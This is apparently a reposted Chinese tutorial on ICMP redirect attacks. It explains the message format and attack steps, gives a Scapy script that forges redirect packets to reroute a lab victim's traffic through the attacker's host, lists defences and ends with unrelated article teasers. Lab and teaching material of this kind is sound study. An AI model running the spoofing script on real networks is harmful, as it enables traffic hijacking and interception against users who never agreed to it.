使用 Scapy 库编写 ICMP 重定向攻击脚本

一、介绍

ICMP重定向攻击(ICMP Redirect Attack)是一种网络攻击,攻击者通过发送伪造的ICMP重定向消息,诱使目标主机更新其路由表,以便将数据包发送到攻击者控制的路由器或其他不可信任的设备上。该攻击利用了ICMP协议的合法功能,但以恶意方式使用,从而劫持或中断目标主机的网络流量。

1.1 ICMP重定向消息的工作原理

ICMP(Internet Control Message Protocol,互联网控制消息协议)是一种用于传递控制消息的协议,主要用于报告网络设备之间的通信问题。ICMP重定向消息用于通知主机,数据包可以通过一个更好的路径传输,从而优化网络流量。典型的ICMP重定向消息格式如下:

  • 类型(Type):5(表示ICMP重定向消息)
  • 代码(Code)
    • 0:用于网络的重定向
    • 1:用于主机的重定向
    • 2:用于服务类型和网络的重定向
    • 3:用于服务类型和主机的重定向
  • 校验和(Checksum):用于检测错误的校验和
  • 网关IP地址(Gateway Address):建议的数据包应发送到的新路由器的IP地址
  • 数据:包含原始数据包的IP头和前8个字节,以便目标主机识别被重定向的会话

1.2 ICMP重定向攻击的步骤

  1. 捕获合法数据包:攻击者首先在网络上嗅探流量,捕获目标主机和合法路由器之间的通信。
  2. 伪造ICMP重定向消息:攻击者构造一个伪造的ICMP重定向消息,指定目标主机应将特定数据包发送到攻击者控制的设备。
  3. 发送ICMP重定向消息:攻击者将伪造的ICMP重定向消息发送到目标主机,诱使目标主机更新其路由表。
  4. 劫持或中断流量:一旦目标主机更新了其路由表,攻击者可以劫持或中断目标主机的网络流量。

二、实验环境

攻击者:192.168.134.147

受害者 A:192.168.134.148

受害者 B:192.168.134.149

三、实操演示

以下示例代码展示了如何使用Scapy构造和发送伪造的ICMP重定向消息

from scapy.all import *
from scapy.layers.inet import ICMPdef icmp_redirect_attack(target_ip, target_gateway, new_gateway):# 构造ICMP重定向消息ip = IP(src=target_gateway, dst=target_ip)icmp = ICMP(type=5, code=1, gw=new_gateway)  # code 1 表示主机重定向original_packet = IP(src=target_ip, dst="192.168.134.149") / ICMP()  # 假设目标主机要访问 192.168.134.149icmp_redirect = ip / icmp / original_packetsend(icmp_redirect)print(f"Sent ICMP redirect from {target_gateway} to {target_ip} with new gateway {new_gateway}")if __name__ == "__main__":target_ip = "192.168.134.148"  # 目标主机的IP地址target_gateway = "192.168.134.2"  # 目标主机当前的网关new_gateway = "192.168.134.147"  # 伪造的新网关(攻击者控制的设备)icmp_redirect_attack(target_ip, target_gateway, new_gateway)

受害者 A 接受到了伪造的 ICMP 包 

四、防御措施

防御ICMP重定向攻击的措施主要包括以下几点:

  1. 禁用ICMP重定向消息:在主机和路由器上禁用ICMP重定向消息,以防止接收和处理重定向消息。这可以通过配置操作系统参数来实现,例如在Linux系统上,可以将/proc/sys/net/ipv4/conf/all/accept_redirects/proc/sys/net/ipv4/conf/default/accept_redirects设置为0来禁用ICMP重定向。

  2. 配置防火墙规则:使用防火墙规则过滤和阻止ICMP重定向消息。管理员可以在防火墙上添加规则,以丢弃或拦截传入的ICMP重定向消息。

  3. 启用安全特性:启用网络设备上的安全特性,如动态ARP检查(Dynamic ARP Inspection,DAI)和IP Source Guard,以防止网络攻击。这些特性可以帮助检测和阻止恶意ARP和IP地址欺骗行为,从而提高网络的安全性。

  4. 网络设备升级和配置审查:定期升级和维护网络设备的固件或软件,并对设备的配置进行审查和调整。确保设备上运行的软件版本没有已知的安全漏洞,并且配置符合最佳安全实践。

  5. 监控和报警:使用入侵检测系统(Intrusion Detection System,IDS)和入侵防御系统(Intrusion Prevention System,IPS)来监控网络流量,并在检测到可疑的ICMP重定向消息或其他攻击行为时触发警报。及时发现并应对恶意活动可以有效地减少攻击造成的损失。

通过综合使用上述防御措施,可以有效地保护网络免受ICMP重定向攻击和其他网络攻击的影响,提高网络的安全性和稳定性 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/339802.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

昆仑万维官宣开源2000亿稀疏大模型Skywork-MoE

6月3日,昆仑万维宣布开源2千亿稀疏大模型Skywork-MoE,性能强劲,同时推理成本更低。 据「TMT星球」了解,Skywork-MoE基于之前昆仑万维开源的Skywork-13B模型中间checkpoint扩展而来,是首个完整将MoE Upcycling技术应用…

上位机图像处理和嵌入式模块部署(f103 mcu获取唯一id)

【 声明:版权所有,欢迎转载,请勿用于商业用途。 联系信箱:feixiaoxing 163.com】 对于stm32f103系列mcu来说,一般每一颗原厂的mcu,都会对应一个唯一的id。那这个id可以用来做什么用呢?个人认为&…

windows配置dns访问git , 加快访问速度保姆级教程

设置 DNS 访问 Git 需要修改电脑的 DNS 配置。下面是具体的操作流程: 第一步:打开命令提示符或终端窗口 在 Windows 系统中,可以按下 Win R 组合键,然后输入 “cmd”,按下 Enter 键打开命令提示符窗口。在 macOS 或 …

学习C++应该做点什么项目

C作为一门底层可操作性很强的语言,广泛应用于游戏开发、工业和追求性能、速度的应用。 比如腾讯,无论游戏,还是微信,整个鹅厂后台几乎都是 C 开发,对 C 开发者的需求非常大。 但问题是C入门和精通都比较困难&#xf…

62. UE5 RPG 近战攻击获取敌人并造成伤害

在上一篇,我们实现了通过AI行为树控制战士敌人靠近攻击目标触发近战攻击技能,并在蒙太奇动画中触发事件激活攻击的那一刻的伤害判断,在攻击时,我们绘制了一个测试球体,用于伤害范围。 在之前实现的火球术中&#xff0c…

CAC2.0全生命周期防护,助力企业构建安全闭环

5月29日,CACTER邮件安全团队凭借多年的邮件安全防护经验,在“防御邮件威胁-企业如何筑起最后防线”直播分享会上展示了构建安全闭环的重要性,并深入介绍了全新CAC 2.0中的“威胁邮件提示”功能。 下滑查看更多直播精彩内容 构建安全闭环的必要…

【第3章】SpringBoot实战篇之登录接口(含JWT和拦截器)

文章目录 前言一、JWT1. 什么是JWT2. 使用场景3. 结构3.1 Header3.2 Payload3.3 Signature 4. 使用 二、案例1.引入库2.JwtUtils3. UserController14. ArticleController 三、拦截器1. 定义拦截器2. 注册拦截器 四、测试1. 登录2. 无token3. 有token4. 全局配置 总结 前言 前面…

JAVAEE之网络初识_协议、TCP/IP网络模型、封装、分用

前言 在这一节我们简单介绍一下网络的发展 一、通信网络基础 网络互连的目的是进行网络通信,也即是网络数据传输,更具体一点,是网络主机中的不同进程间,基于网络传输数据。那么,在组建的网络中,如何判断到…

遥感之特征选择-禁忌搜索算法

各类智能优化算法其主要区别在于算法的运行规则不同,比如常用的遗传算法,其规则就是变异,交叉和选择等,各种不同的变体大多是在框架内的实现细节不同,而本文中的禁忌算法也是如此,其算法框架如下进行介绍。…

【IDEA】-使用IDEA查看类之间的依赖关系

1、父子类的继承、实现关系 1.1、使用CTRL Alt U 选择 java class 依据光标实际指向的类位置 用实心箭头表示泛化关系 是一种继承的关系,指向父类 可以提前设置需要显示的类的属性、方法等信息 快捷键 Ctrl Alt S ,然后搜索 Diagrams 1.2、使用…

鸿蒙开发接口资源调度:【@ohos.backgroundTaskManager (后台任务管理)】

后台任务管理 本模块提供后台任务管理能力。 当应用或业务模块处于后台(无可见界面)时,如果有需要继续执行或者后续执行的业务,可基于业务类型,申请短时任务延迟挂起(Suspend)或者长时任务避免…

C语言学习笔记之结构体(一)

目录 什么是结构体? 结构体的声明 结构体变量的定义和初始化 结构体成员的访问 结构体传参 什么是结构体? 在现实生活中的很多事物无法用单一类型的变量就能描述清楚,如:描述一个学生,需要姓名,年龄&a…

Lua的几个特殊用法

:/.的区别 详细可以参考https://zhuanlan.zhihu.com/p/651619116。最重要的不同就是传递默认参数self。 通过.调用函数,传递self实例 通过 : 调用函数,传递self (不需要显示的传递self参数,默认就会传递,但…

旧衣回收小程序带来的收益优势,小程序有哪些功能?

随着互联网的快速发展,大众对旧衣回收市场也越来越了解,对于闲置的旧衣物也有了适合的处理方式。旧衣回收也符合了当下资源回收利用,因此,旧衣回收市场获得了爆发式增长,市场规模不断扩大。同时市场中还吸引了越来越多…

C++入门5——C/C++动态内存管理(new与delete)

目录 1. 一图搞懂C/C的内存分布 2. 存在动态内存分配的原因 3. C语言中的动态内存管理方式 4. C内存管理方式 4.1 new/delete操作内置类型 4.2 new/delete操作自定义类型 1. 一图搞懂C/C的内存分布 说明: 1. 栈区(stack):在…

在github上创建(上传、关联)自已的项目

目录 创建一个github项目并进行开发。 1.github创建空项目 2. git clone 项目 3. 将项目关联 创建一个github项目并进行开发。 1.github创建空项目 右边的New 然后按步创建就行 2. git clone 项目 复制这个连接 然后在终端:git clone [刚才复制的连接] 3. 将…

MySQL -- SQL笔试题相关

1.银行代缴花费bank_bill 字段名描述serno流水号date交易日期accno账号name姓名amount金额brno缴费网点 serno: 一个 BIGINT UNSIGNED 类型的列,作为主键,且不为空。该列是自动增量的,每次插入新行时,都会自动递增生成一个唯一的…

simulink基础学习笔记

写在前面 这个笔记是看B站UP 快乐的宇航boy 所出的simulink基础教程系列视频过程中记下来的,写的很粗糙不完整,也不会补。视频教程很细跟着做就行。 lesson1-7节的笔记up有,可以加up的群,里面大佬挺活跃的。 lesson8 for循环 For …

C++之map

1、标准库的map类型 2、插入数据 #include <map> #include <string> #include <iostream>using namespace std;int main() {map<string, int> mapTest;// 插入到map容器内部的元素是默认按照key从小到大来排序// key类型一定要重载小于号<运算符map…

CTFHUB-密码口令-弱口令

目录 题干介绍 密码字典 找flag过程 尾声 题干介绍 通常认为容易被别人&#xff08;他们有可能对你很了解&#xff09;猜测到或被破解工具破解的口令均为弱口令。 密码字典 下载地址&#xff1a;GitHub - NepoloHebo/Commonly-used-weak-password-dictionary: 常用弱密码字…